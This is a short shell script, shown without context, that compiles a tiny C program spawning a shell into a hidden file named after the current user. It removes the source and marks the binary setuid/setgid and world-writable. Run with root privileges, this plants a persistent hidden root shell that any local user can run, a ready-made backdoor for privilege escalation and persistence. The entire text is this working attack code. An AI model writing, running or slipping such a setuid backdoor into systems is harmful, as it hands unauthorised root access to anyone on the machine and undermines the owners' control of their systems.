#!/bin/sh echo 'main(){system("sh");}' >test.c filename=.go`whoami` cc -o $filename test.c rm test.c chmod 6777 $filename